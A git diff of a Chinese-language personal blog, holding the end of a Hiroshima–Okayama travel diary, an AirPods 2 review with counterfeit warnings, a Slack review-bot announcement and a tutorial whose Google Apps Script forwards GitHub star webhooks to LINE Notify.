給未來要來吳市、廣島的朋友作行程安排參考,吳市也可以坐船去宮島及回到廣島,本來有想坐船回廣島,但時間沒搭上,這次就先放棄了。

大和博物館

裡面有一艘能近距離 360 度觀看的大和戰艦、細節幾乎拉滿,還有戰艦、戰爭的歷史、戰鬥機、大砲…等等,戰艦迷與軍事迷不容錯過;另外剛好遇到特戰,展出日本航母設計、發展史,連設計手稿有。

海上自衛隊吳史料館

離開大和博物館之後往後面走就是海上自衛隊吳史料館,可以免費入內參觀。

博物館內部主要展示潛水艇內部生活環境、工作環境、引擎、水雷,還有歷史。

最後最特別的是真的能進入潛水艇,參觀真實的機艙、宿舍、船長室、駕駛室及使用潛望鏡看外部環境。

吳市商店街

逛完博物館也接近中午時分準備覓食,本來想直接吃海軍咖哩,但查了一下評價好像沒什麼特別的,就先走回吳市商店街再做決定。(其實蠻遠的,再反方向,走路大概花了快 30 分鐘)

最後選擇吃吳市冷面,類似涼麵+豚骨叉燒,麵會冰鎮過,味道爽口,麵量偏多,可以點小份的就好。

吃飽準備回車站,路上順路也買了「福住炸紅豆蛋糕」味道偏甜偏油,吃起來很普通;另外也順路買了海軍咖啡、咖哩當伴手禮( subarucoffee_store/ ,店員很親切熱情)。

一路再走回吳站,搭列車回廣島。

回廣島後最後的廣島市區巡禮,廣島車站出來就有三條路線的觀光巴士可供選擇搭乘(包含在 JR Pass 內),可以依照自己想去的方向選擇。

我想先去縮景園(廣島美術館),所以選擇搭乘紅色楓葉號。

縮景園

縮景園就在廣島美術館後面,買票的時候也可以買縮景園+廣島美術館套票。

縮景園是個很別緻的小庭院,裡面有很多景觀的縮小造景,例如楓葉、小橋流水、竹林、松柏、山丘. . .等等,走一走看看風景挺不錯的。

廣島城

下一站漫步到廣島城,廣島城已在核爆中消失,目前的廣島城是後來復建的,整體很新,高度也不高,天守閣看不太到什麼風景。

平和紀念館、平和紀念公園

最後一站再次回到平和紀念公園,旁邊就是紙鶴塔(高度不高,沒進去)。

剛好遇到下午時香取慎五吾來弔念。

排隊買票參觀和平紀念資料館,裡面有非常豐富的核爆過程、歷史,還有資料照片、物件;整體參觀下來非常沈重震撼。

公園的另一邊還有祈念館,太沈重就沒進去了。

晚間時分下起毛毛細雨,搭配著剛看完慘痛歷史教訓的心情,回到廣島車站。

隨手在車站買了些伴手禮與車站的外帶便當就回飯店休息了,今天還要洗衣服呢。

APA 真的隨處可見社長,社長咖哩、社長水、社長的書…

房間密度也是一如往常的密集,一層 60 幾間。

APA飯店 廣島站前大橋

房間內一樣不大、設施齊全、電子設施也很方便(房間內就能看到洗衣房動態、電視能直接 Airplay)。

洗衣服的時候遇到大麻煩,大排隊,整棟 1000 多個房間只有 7 台洗衣機,最後抓準時機,洗衣機快結束時下樓排隊,最後在 11 點多才洗好烘好衣服(還沒乾,回房間繼續晾)。

弄到這麼晚,今天吃宵夜很合理!還是 Y1000 + 牛奶 + 超商熟食。

Day 5 倉敷、岡山

一早風光明媚,天氣晴朗;Chekout 飯店、跟廣島說再見,前往倉敷的下塌飯店寄放行李(也能先寄放在岡山,因為去倉敷還是要先到岡山)。

倉敷美觀地區、阿智神社

第一站先來到阿智神社,地勢較高能鳥瞰整個倉敷地區,沒什麼人很清幽。

阿智神社不大但有名的有繪馬亭、如果抽到不好的籤可依照自己的生肖綁在對應的獸首下、還有求良緣的 花纏守

[花纏守](https://supertaste.tvbs.com.tw/asia/340177){:target="_blank"} ,感謝 Angie 提供。

花纏守 ,感謝 Angie 提供。

美觀地區不大,但很清幽好逛,遊船因為當日傳票已售罄就沒機會體驗了,但在周邊巷弄走走逛逛也很舒服。

午餐吃了有名的 三宅商店 咖哩套餐,咖哩濃郁搭配牛蒡絲很好吃。

吃完繼續逛,逛累了跑去吃 パーラー果物小町 (特色是店員會穿著大正時代的女僕裝)水果聖代,岡山晴王葡萄+水果冰淇淋,葡萄甜到發麻。

伴手禮可以買 GOHOBI 倉敷特產膠原蛋白岡山水果果凍。

岡山後樂園點燈、岡山城

伴隨著夕陽搭乘列車回到岡山站,出站直接搭乘路面電車就能到岡山城周遭。

第一站先去岡山後樂園,晚上點燈的感覺很是浪漫美麗。

岡山後樂園+岡山城每年 11 月中下旬會有點燈活動。

順路去隔壁的岡山城看夜景,在楓葉加燈光的映照下別有一番風味。

晚餐方便解決,就地吃了一風堂拉麵,再一路漫步回岡山站(路上也有點燈,很美),回倉敷前還有點時間逛了一下激安殿堂(唐吉訶德),沒什麼伴手禮,還是要去岡山車站或百貨公司才有賣伴手禮…

回倉敷已是晚間時分,天氣寒冷,路上的人也都急匆匆地要趕回家,倉敷站後站的 Outlet 也已關門。

才發現這家飯店沒有 24 小時櫃檯,還好沒有太晚回來!但這家飯店的房內設施很齊全,微波爐、熱水壺、眼鏡清洗機都有。

利夫馬克斯岡山倉敷站前飯店

在日本的最後一晚只簡單吃了超商雞塊+Y1000 跟多買一瓶白桃草莓牛奶當宵夜,就沈沈睡去。

Day 6 岡山、返程

一大清早天剛亮,就 Checkout 出門前往岡山。

預計由岡山搭乘機場交通車回機場, 倉敷也有直達岡山機場的交通車但班次較少( 詳細請參考官網 ) ,昨天岡山也還沒逛完,就打算直奔岡山再從岡山回去了。

吉備津神社

底搭車站後直奔吉備津神社參觀(車程約 30 分鐘),出車站大約要再走 15 分鐘才會抵達,有個歷史悠久的檜木長廊,及銀杏與歷史建築,很好走走參拜。

路上還有另一個在山腳另一邊的吉備津彥神社順路也可以一同參拜,但因為j時間不夠所以這次就跳過了。

岡山 AEON

回岡山車站後去附近的 AEON 百貨買買伴手禮、逛逛街,吃個午餐天婦羅蕎麥麵,就準備去排機場交通車回岡山機場了。

排交通車的人很多,但不用緊張上不了車,因為會有加開車次保證大家都能到機場。

岡山桃太郎機場 (OKJ)

機場有點年代、跟熊本機場差不多小,約 13:50 就完成安檢+報到+出境,距離起飛時間 15:25 還有快 2 個小時。

機場班次超少,就是只有同個航班的人,大概只花不到 15 分鐘就完成報到+掛行李,更特別的是岡山機場小到 X 光機是放在機場大廳的,大廳過完 X 光貼上封條,再去報到(如果打開行李會被要求重新過安檢)。

掛完行李在航站樓(總共2樓而已)晃了一下,有一個觀景台可以瞭望,還有咖啡廳跟幾家餐廳可以吃東西,等累了買了一顆白桃冰淇淋大幅來吃。

安檢也很快,但岡山機場如果穿靴子是要脫下來安檢的,這點比較麻煩。

遇到班機延誤,在候機室等啊等,最後 16:24 才起飛(延誤快一小時)。

再見,岡山、再見,廣島。

伴手禮開箱

插曲

繼上次「 2023 九州 10 日自由行獨旅 」後面幾天其實有一種說不出的孤獨感,一是一個人去陌生的地方、二是不會講日文 10 天幾乎沒講話;那種孤獨感依然記憶猶新,所以並沒有很想再去,是因為即將要工作加上剛好有買到超級特價的機票才出發。

第一天再換 JR Pass 時剛好卡住、剛好遇到一群同樣卡住的台灣人、剛好跟前面的台灣人輪流試才成功、剛好她也是去廣島、剛好她進站卡住提醒了她、剛好都買到下下班列車、剛好她買自由座、剛好都想先去超商、剛好是同個業界所以很有話題,剛好都是一個人去,於是第一天就組團一起走完相同的行程了。

彼は Angie です! 意想不到的一個人去兩個人回。🙆‍♂️🙆‍♀️

很多行程、景點跟時間安排都是 Angie 提供的資訊,如果是本來我自己走可能就會亂走或錯過,然後又孤獨的狂走完 6 天。

— — —

推薦

最後再次推薦 Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線 絕對是出門旅行的必備神器,充電頭小巧功率高速度快、充電線長又好收納不會像一班的線材難以彎折甚至怕斷裂。

[Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線](https://reurl.cc/67LEer){:target="_blank"}

Allite A1 65W 氮化鎵快充+Allite 液態矽膠快充線

更多遊記

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

遊記 2023 九州 10 日自由行獨旅

-

diff --git a/posts/33afa0ae557d/index.html b/posts/33afa0ae557d/index.html new file mode 100644 index 000000000..0e0a8bfbd --- /dev/null +++ b/posts/33afa0ae557d/index.html @@ -0,0 +1 @@ + AirPods 2 開箱及上手體驗心得 | ZhgChgLi
Home AirPods 2 開箱及上手體驗心得
Post
Cancel

AirPods 2 開箱及上手體驗心得

AirPods 2 開箱及上手體驗心得 (雷射鐫刻版)

更加巧妙,無比驚歎。

[最新] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往

AirPods 這款產品剛出來時,我並沒有特別注意;第一眼看覺得就是個像蓮蓬頭的無線藍牙耳機,而且那時候無線藍牙耳機市場也是百家齊放的狀態,你能想到的款式、需求都能找到相符的產品再加上價格也不親民,有什麼特別的?

直到我真正上手後才感受到它的 「驚艷」 之處,自從開賣之後 AirPods 長年霸佔藍牙耳機銷售排行榜前幾名絕非浪得虛名,靠的也不只是果粉的信仰,那到底好用在哪,讓我們繼續看下去.

[真香梗](https://www.ettoday.net/news/20181227/1341755.htm){:target="_blank"}

真香梗

入手背景

本來只是單純的iPhone用戶,去年入手了MacBook Pro、 Apple Watch S4 ,開始陷入蘋果生態系(俗稱:蘋果全家桶)手錶都買了,獨缺一副耳機。

原本在使用的藍牙耳機已服役一段時間,就是款中規中矩的耳機,沒有不好但也沒特別出色,音質普普、續航力很夠;要說痛點的話就是通話時不清楚、訊號容易干擾,開關機要長按、要等配對及電量標示不清楚,都是小小問題;平常就通勤跟運動時使用,在電腦前多半使用喇叭或有線耳機,所以也能滿足我的基本需求.

AirPods 1代推出後,身邊朋友的使用經驗多半好評,這次剛好跟上AirPods 2代的潮流,所以就順勢入手囉.

p.s. 因為我沒使用過 1代 所以考量入手的點也不會是跟 1代 做比較有什麼提升的項目 (本篇文章也不會提及跟1代的差異).

挑選,無線還是有線版本?

無線及有線版本價格差$1,200,起初我是考慮買無線版本的;想到我那凌亂的床頭櫃上的充電線還有出國能少帶條線,對便利性提升來說很是心動!!

蘋果宣告 AirPower 胎死腹中後,我在網路尋找類似的產品,買了款 2合1的無線充電版,2 是 iPhone、Apple Watch;因iPhone跟AirPods不太會隨時或同時需要充電,所以交替使用下是能3合1使用的.

一切都看似美好,直到我下標收到貨之後,實際使用發現無法同時充手機跟手錶,手錶的充電量幾乎=0、而且速度很慢,電流根本催不起來!就算使用 5.1V/2.1A 的大豆腐頭也是,不確定該搭什麼電壓的頭才能使用,查 網友評價 ,這個狀況也非個案,最後還是悻悻然的退貨了.

想想也不過就兩條線(AirPods跟iPhone都是lightning/AppleWatch是專用線),而且速度還是有線快;無線需要那塊版本+版子的線+可能要更大的頭?;比較之下沒有特別便利優勢.

所以最終我選擇了有線版的AirPods 2。

p.s. 無線版跟有線版的差別只在,充電盒有線版同1代(指示燈在內);無線版的充電盒指示燈在外&也能用有線充

下單

從發佈到開賣(台灣),大約隔了1個月,每天都要照三餐上官網看開賣沒,相信很多網友也是XD;實在等的揪心,其他國家早就開賣了!

4/23 開賣就立馬下標了,AirPods 2 這次可以雷射鐫刻(刻字)當然不免俗的也刻了:

ΛVICII ◢ ◤ — 官方預覽圖

ΛVICII ◢ ◤ — 官方預覽圖

以此紀念 瑞典傳奇音樂製作人 AVICII

“One day you’ll leave this world behind So live a life you will remember.” Avicii — The Nights

可以刻 11個字元 ,包含中文/英文/符號/空格;實測符號部分應該大部分都可,不支援他會顯示「無法鐫刻這些字元:」,所以不需要擔心變亂碼.

p.s 有刻字約需多等一週,不刻字可到101直接買或透過經銷商購買(價格更便宜)

官方給的預估收到時間是:5/3~5/10,4/29通知從上海出貨,很幸運地4/30趕在51勞動節放假前我就收到了(超快!!從上海到台北)

開箱!

AirPods 2 開箱

外包裝

外包裝

展開

展開

本體近照

本體近照

本體全身照

本體全身照

肚子裡的東西

肚子裡的東西

亂開箱結束!整體拿起來有份量,手感跟質感非常好,刻字部分也很精細;是蘋果產品該有的水準!

使用

第一次使用:

全新AirPods第一次使用時只需打開 AirPods盒子 靠近 iPhone 就會詢問,即可完成配對;不用特別案配對按鈕。

設定耳機操作:

手機版:

打開「設定」->「藍芽」->「找到你的AirPods」->「設定」

打開「設定」->「藍芽」->「找到你的AirPods」->「設定」

MacBook 版:

左上角「」->「系統偏好設定」->「藍芽」(若沒聲音請將聲音書出改選AirPods)

左上角「」->「系統偏好設定」->「藍芽」(若沒聲音請將聲音書出改選AirPods)

可自行選擇左右耳的雙擊的動作.

點擊位置在耳機本體上側邊小孔下方:

其實我摸索了一下才知道位置

其實我摸索了一下才知道位置

一些小技巧

快速切換回iPhone上使用:

上拉選單->選擇音訊區塊->選擇右上圖標->切換選擇AirPods

上拉選單->選擇音訊區塊->選擇右上圖標->切換選擇AirPods

也可由此查看AirPods電量。(顯示電量較低的那隻的電量)

用小工具查看電量方法:

左滑到控制中心->下方「編輯」->找到「電池」新增並排序

左滑到控制中心->下方「編輯」->找到「電池」新增並排序

以後就能直接左滑控制中心查看AirPods電量(顯示電量較低的那隻的電量)要看左右耳及盒子的電量,就需將其中一隻AirPods放回盒子並打開盒子(因為盒子本身沒有藍芽功能):

*盒子內是我貼的防塵貼片

*盒子內是我貼的防塵貼片

這裡有一個BUG,如果你的電池小工具顯示電量一下之後就消失;請去「設定」->「螢幕顯示與亮度」->「文字大小」-> 調回預設大小(第三格)即可!

Apple Watch 查看電量方法:

上滑控制中心->點擊電量

上滑控制中心->點擊電量

Apple Watch 上電量顯示視窗下方會多顯示AirPods的電量

p.s.但好像有 BUG 有時候不會顯示

關於電量的補充:

1.當 AirPod 電池電量低時,您會在其中一個或兩個 AirPods 中聽到提示音。當電池電量低時,您會聽到一次提示音,在 AirPods 關閉前,會再聽到一次提示音。

2.如果 AirPods 放在充電盒中而且盒蓋開著,指示燈顯示的是 AirPods 的充電狀態。如果 AirPods 不在充電盒中,指示燈顯示的是充電盒的狀態。綠色表示已充飽電,而琥珀色表示剩不到一次充飽電的電量。

— 取自 官網的文件

使用心得

在寫心得之前,先提一個最近聽到的創業故事;簡而言之就是:「做產品時我們應該要做的不是針對大範圍、而是選擇一個小範圍的點,然後慢慢擴散」

AirPods 與其他廠牌的藍牙耳機最大的差異就是小範圍的細節體驗無話可說,像是使用時拿掉一耳會自動暫停音樂,戴回去會恢復播放這些,還有拿出來就能直接用,不用就放回去,不用去管那些開機關機連線的問題,舒適度方面,佩戴起來甚至感覺不到他的存在.

充電速度飛快,加上放在盒子內就會自動充電;所以只要稍微注意盒子還有沒有電就好(盒子約可充5次),不太會遇到像之前要用藍牙耳機時它卻沒電,然後還要等它慢慢充電。

延遲就如傳言一樣,看影片、玩遊戲幾乎感覺不到延遲(我測試玩的是極速領域賽車遊戲).

Hey Siri 的部分 ,起初也覺得很雞肋,因為我有手錶也能遠距離Hey Siri;實際體驗後同上提到的,一切都是「細節體驗」;AirPods的Hey Siri又更上了一個層級,連抬手呼出都不用;直接呼叫Hey Siri就能使用,真的達到Siri無所不在的感覺。 可能遇到的場景就是在整理家務、雙手都拿東西時;這時候這個功能就相當方便! 還有還有,可以 呼叫Siri調節音量 :「Hey Siri! ,大聲一點」、「Hey Siri! ,音量調到75%」

一句話來總結使用 AirPods 的心得就是:

「一切都是那麼的自然」

你無需花心思在那些不必要的事物上,耳機就該只是耳機。

通話品質部分 也是同樣驚艷,除了基本的通話品質穩定之外,收音效果堪比話筒品質,真的超神奇;實測跟朋友通話,他甚至聽不太出來我用的是AirPods!

騎車配戴部分 ,其實我本來很期待能騎車時帶著聽導航,結果已入手1代的朋友說「不行」,3/4以上的安全帽,再帶帽子的過程會壓到耳朵,耳機很容易掉;這邊實際測試也是,心抖了一下,建議真的要邊騎車邊聽導航,只帶ㄧ耳就好,穿脫安全帽時只顧一耳比較安全。

缺點:

最終還是要說一下我覺得的缺點

手勢可控制的項目太少…我真的很習慣手勢控制大小聲(不過還好這部分有手錶可以控制Spotify音量)

另外手機連接速度的確很快但電腦的連接速度:我的MacBook Pro 2018 蠻慢的、但另一台Mac Mini跟手機連接一樣快

TESTV 評測頻道也有提到它的MacBook Pro在蓋起來外接使用時,搭配AirPods訊號會斷斷續續的!(這部分我不會)

不過,為什麼有這些差異?我猜是因為有其他信號干擾(燈、螢幕輸出、其他藍芽設備)吧?

闢謠:

  1. 大小外型跟有線earpodsㄧ樣、容易掉的問題: 首先大小外型跟earpods有差距,我戴earpods有點鬆鬆的,但戴AirPods感覺很穩,跳來跳去也不會掉;不過其實很看人,有的人的確會出現不合適的問題,建議購買前先跟有AirPods的朋友借來戴戴看! *或是在耳機頭部貼一些人工皮增加面積、阻力
  2. 音質跟earpods很像:同上,其實差很多,AirPods的音質好很多;我覺得雖然可能跟同價位主打音質的耳機有落差,也無降噪功能,但AirPods本身就不是音質取向的耳機,取捨就看個人。 就我個人體驗,音質聽得出環繞層次、音域廣,整體不失水準!

配件:

由於在下奶油手,AirPods就跟一顆雞蛋ㄧ樣,我很怕會溜手直接摔爆;爬了許多保護套推薦文,蠻多人推薦這款:Catalyst AirPods 防水收納盒(保護套)

會選擇這個的原因是:防水、防摔、有掛勾、使用便利(拿收耳機跟充電時不用拆)

價格:$1000上下

[![開箱 Catalyst Airpods專用的耳機收納保護套Apple earphone](/assets/33afa0ae557d/7645_hqdefault.jpg “開箱 Catalyst Airpods專用的耳機收納保護套Apple earphone”)](http://www.youtube.com/watch?v=XD8Lvp1vR1M){:target=”_blank”}

小開箱:

正面,因為怕髒所以我買深色

正面,因為怕髒所以我買深色

背面也有相對應配對鍵的按鈕

背面也有相對應配對鍵的按鈕

拿收耳機只需翻開上半部

拿收耳機只需翻開上半部

底部充電孔有蓋子可開關

底部充電孔有蓋子可開關

p.s. 為了要拿到AirPods能馬上用,其實我套子比AirPods先買好😂

網友提問:1代與2代保護套是否能共用?

區分這個的標準不是1或2代,而是有線或無線版;如果您是有線版那1、2代都能用,無線版的指示燈在外及背面配對設定按鍵位置較上居中,無法與有線版共用保護套,這部分需要注意⚠️

再來是盒子內部防塵貼:

AHA AirPods 防塵貼

AHA AirPods 防塵貼

有網友問到密合度問題:

沒貼好會有點不密合,我橋很久才讓他完全密合;邊邊稍微有一點點刮手感(不影響,可能是公差?)

不太好貼,因為防塵貼是金屬片,盒子本身有磁鐵容易在瞄準的時候就被吸下去

目前覺得有點多餘,不知道使用一陣子後的效果如何,所以先持保留態度。

防詐騙宣導

請大家要特別注意,對岸已經出現破解晶片的高仿版本,配對同樣有動畫、同樣有電量顯示,從外觀幾乎無法區別的山寨版。

目前主要的識別方式是從軟體下手:

  1. 電量顯示:正版能顯示左耳、右耳、盒子三個電量/盜版只有ㄧ個
  2. 藍牙設定那邊,正版可以設定左右耳的點擊功能/盜版只有斷開和遺忘
  3. 充電盒指示燈正版連上後會熄/盜版會繼續亮著

但以上都不確定之後山寨版會不會修正,所以大家還是以官方或大型通路渠道購買較安全.

⚠️不孝商人現在更猖獗了,把盜版用接近正版的價格賣⚠

日前在Facbook、Google廣告聯播網上發現有惡劣商人,將盜版用接近正版價格賣(網站是常見的 一頁式詐騙網頁 ),非常惡劣;我覺得如果你是貪小便宜花個1000出買到AirPods你自己應該也要有認知會是假的,但把盜版當正版價格賣實在非常低級!

請注意,全新的AirPods價格應該不會低於$4500。

詐騙、來源不明的賣家

詐騙、來源不明的賣家

如果你不小心下標了,取貨付款請直接拒收、已收請趕快打電話給貨運公司要求退貨(態度要強硬),有任何問題可加入 FB購物廣告受害者自救會

看到這類廣告請直接點右上角向Facebook/Google檢舉、或是狂點廣告讓他快速的燒完廣告預算。

另外請大家發現山寨的AirPods或蘋果產品不要姑息養奸,無論是來路不明的網站、一頁式購物詐騙、蝦皮、露天,絕對要 聯繫保智大隊 去處理。

亦或是1代當2代賣?

二代外盒圖

二代外盒圖

請確認:

  • AirPods 2型號: A2031、A2032
  • AirPods 1型號: A1523、A1722
  • 生產年份:≥ 2019

詳細1、2代比較請參考這篇: AirPods 第一代與第二代辨識技巧大公開,透過這5 招馬上區分出來

其他有趣的開箱及體驗影片

无处不在的耳机 AirPods2代【值不值得买第331期】

搞机零距离:AirPods 2评测 依然是最省心的蓝牙耳机

來個全家桶吧

想知道Apple Watch Series 6 的上手體驗嗎?

Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS 完美實踐一次性優惠或試用的方法 (Swift)

智慧家居初體驗 - Apple HomeKit & 小米米家

diff --git a/posts/33f6aabb744f/index.html b/posts/33f6aabb744f/index.html new file mode 100644 index 000000000..feea7010d --- /dev/null +++ b/posts/33f6aabb744f/index.html @@ -0,0 +1 @@ + ZReviewsBot — Slack App Review 通知機器人 | ZhgChgLi
Home ZReviewsBot — Slack App Review 通知機器人
Post
Cancel

ZReviewsBot — Slack App Review 通知機器人

ZReviewsBot — Slack App Review 通知機器人

免費開源的 iOS & Android APP 最新評價追蹤 Slack Bot

TL;DR [2022/08/10] Update:

現已改用全新的 App Store Connect API 重新設計 App Reviews Bot,並更名重新推出「 ZReviewTender — 免費開源的 App Reviews 監控機器人 」。

====

ZhgChgLi / ZReviewsBot

[ZReviewsBot](https://github.com/ZhgChgLi/ZReviewsBot){:target="_blank"}

ZReviewsBot

ZReviewsBot 為免費、開源專案,幫助您的 App 團隊自動追蹤 App Store (iOS) 及 Google Play (Android) 平台上 App 的最新評價,並發送到指定 Slack Channel 方便您即時了解當前 App 狀況。

  • ✅ 使用更新、更可靠的 API Endpoint 追蹤 iOS App 評價 ( 技術細節 )
  • ✅ 支援雙平台評價追蹤 iOS & Android
  • ✅ 支援關鍵字通知略過功能 (防洗版廣告騷擾)
  • ✅ 客製化設定,隨心所欲
  • ✅ 支援使用 Github Action 部署 Schedule 自動機器人

[2022/07/20 Update]

App Store Connect API 現已支援 讀取和管理 Customer Reviews ,此機器人將於後續更新實作,取代掉使用 Fastlane — Spaceship 去後台拿評價的方式。

起源

繼上一篇「 AppStore APP’s Reviews Slack Bot 那些事 」研究並完成了新的 iOS 評價撈取工具,想了想好像蠻適合當 Side Project Open Source 出來給有相同問題的朋友使用。

Flow

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

AppStore APP’s Reviews Bot 那些事

Slack 打造全自動 WFH 員工健康狀況回報系統

diff --git a/posts/382218e15697/index.html b/posts/382218e15697/index.html new file mode 100644 index 000000000..9857fea4b --- /dev/null +++ b/posts/382218e15697/index.html @@ -0,0 +1,485 @@ + 使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier | ZhgChgLi
Home 使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier
Post
Cancel

使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier

使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier

撰寫 GAS 串接 Github Webhook 轉發按星星 Like 通知到 Line

前言

身為開源專案的維護者,不為錢不為名,只為一個 虛榮心 ;每當看到有新的 ⭐️ 星星時,心中都竊喜不已;花時間花精力做的專案真的有人在用、真的有幫助的有同樣問題的朋友。

[Star History Chart](https://star-history.com/#ZhgChgLi/ZMarkupParser&Date){:target="_blank"}

Star History Chart

因此對 ⭐️ 星星的觀測多少有點強迫症,時不時就刷一下 Github 查看 ⭐️星星 數有沒有增加;我就在想有沒有更主動一點的方式,當有人 按 ⭐️星星 時主動跳通知提示,不需要手動追蹤查詢。

現有工具

首先考慮尋找現有工具達成,到 Github Marketplace 搜尋了一下,有幾個大神做好的工具可以使用。

試了其中幾個效果不如預期,有的已不在運作、有的只能在每 5/10/20 個 ⭐️星星 時發送通知(我只是小小,有 1 個新的 ⭐️ 就很開心了😝)、通知只能發信件但我想要用 SNS 通知。

再加上只是為了「虛榮心」裝一個 App,心裡不太踏實,怕有資安風險問題。

iOS 上的 Github App 或 GitTrends …等等第三方 App 也都不支援此功能。

自己打造 Github Repo Star Notifier

基於以上,其實我們可以直接用 Google Apps Script 免費、快速打造自己的 Github Repo Star Notifier。

準備工作

本文以 Line 做為通知媒介,如果你想使用其他通訊軟體通知可以詢問 ChatGPT 如何實現。

詢問 [ChatGPT](https://chat.openai.com){:target="_blank"} 如何實現 Line Notify

詢問 ChatGPT 如何實現 Line Notify

lineToken

  • 前往 Line Notify
  • 登入你的 Line 帳號之後拉到底找到「Generate access token (For developers)」區

  • 點擊「Generate token」

  • Token Name:輸入你想要的機器人頭銜名稱,會顯示在訊息之前 (e.g. Github Repo Notifer: XXXX )
  • 選擇訊息要傳送到的地方:我選擇 1-on-1 chat with LINE Notify 透過 LINE Notify 官方機器人發送訊息給自己。
  • 點擊「Generate token」

  • 選擇「Copy」
  • 並記下 Token,如果日後遺忘需要重新產生,無法再次查看

githubWebhookSecret

  • Copy & 記下此隨機字串

我們會用這組字串做為 Github Webhook 與 Goolge Apps Script 之間的請求驗證媒介。

GAS 限制 ,無法在 doPost(e) 中取得 Headers 內容,因此不能使用 Github Webhook 標準的驗證方式 ,只能手動用 ?secret= Query 做字串匹配驗證。

建立 Google Apps Script

前往 Google Apps Script ,點擊左上角「+ 新專案」。

[**Google Apps Script**](https://script.google.com/home/start){:target="_blank"}

Google Apps Script

點擊左上方「未命名的專案」重新命名專案。

這邊我把專案取名為 My-Github-Repo-Notifier 方便日後辨識。

程式碼輸入區域:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+
// Constant variables
+const lineToken = 'XXXX';
+// Generate yours line notify bot token: https://notify-bot.line.me/my/
+const githubWebhookSecret = "XXXXX";
+// Generate yours secret string here: https://www.random.org/strings/?num=1&len=32&digits=on&upperalpha=on&loweralpha=on&unique=on&format=html&rnd=new
+
+// HTTP Get/Post Handler
+// 不開放 Get 方法
+function doGet(e) {
+  return HtmlService.createHtmlOutput("Access Denied!");
+}
+
+// Github Webhook 會使用 Post 方法進來
+function doPost(e) {
+  const content = JSON.parse(e.postData.contents);
+  
+  // 安全性檢查,確保請求是來自 Github Webhook
+  if (verifyGitHubWebhook(e) == false) {
+    return HtmlService.createHtmlOutput("Access Denied!");
+  }
+
+  // star payload data content["action"] == "started"
+  if(content["action"] != "started") {
+    return HtmlService.createHtmlOutput("OK!");
+  }
+
+  // 組合訊息 
+  const message = makeMessageString(content);
+  
+  // 發送訊息,也可改成發到 Slack,Telegram...
+  sendLineNotifyMessage(message);
+
+  return HtmlService.createHtmlOutput("OK!");
+}
+
+// Method
+// 產生訊息內容
+function makeMessageString(content) {
+  const repository = content["repository"];
+  const repositoryName = repository["name"];
+  const repositoryURL = repository["svn_url"];
+  const starsCount = repository["stargazers_count"];
+  const forksCount = repository["forks_count"];
+
+  const starrer = content["sender"]["login"];
+
+  var message = "🎉🎉「"+starrer+"」starred your「"+repositoryName+"」Repo 🎉🎉\n";
+  message += "Current total stars: "+starsCount+"\n";
+  message += "Current total forks: "+forksCount+"\n";
+  message += repositoryURL;
+
+  return message;
+}
+
+// 驗證請求是否來自於 Github Webhook
+// 因 GAS 限制 (https://issuetracker.google.com/issues/67764685?pli=1)
+// 無法取得 Headers 內容
+// 因此不能使用 Github Webhook 標準的驗證方式 (https://docs.github.com/en/webhooks-and-events/webhooks/securing-your-webhooks)
+// 只能手動用 ?secret=XXX 做匹配驗證
+function verifyGitHubWebhook(e) {
+  if (e.parameter["secret"] === githubWebhookSecret) {
+    return true
+  } else {
+    return false
+  }
+}
+
+// -- Send Message --
+// Line
+// 其他訊息傳送方式可問 ChatGPT
+function sendLineNotifyMessage(message) {
+  var url = 'https://notify-api.line.me/api/notify';
+  
+  var options = {
+    method: 'post',
+    headers: {
+      'Authorization': 'Bearer '+lineToken
+    },
+    payload: {
+      'message': message
+    }
+  }; 
+  UrlFetchApp.fetch(url, options);
+}
+

lineToken & githubWebhookSecret 帶上前一步驟複製的值。

補充 Github Webook 當有人按 Star 時會打進來的資料如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+
{
+  "action": "created",
+  "starred_at": "2023-08-01T03:42:26Z",
+  "repository": {
+    "id": 602927147,
+    "node_id": "R_kgDOI-_wKw",
+    "name": "ZMarkupParser",
+    "full_name": "ZhgChgLi/ZMarkupParser",
+    "private": false,
+    "owner": {
+      "login": "ZhgChgLi",
+      "id": 83232222,
+      "node_id": "MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy",
+      "avatar_url": "https://avatars.githubusercontent.com/u/83232222?v=4",
+      "gravatar_id": "",
+      "url": "https://api.github.com/users/ZhgChgLi",
+      "html_url": "https://github.com/ZhgChgLi",
+      "followers_url": "https://api.github.com/users/ZhgChgLi/followers",
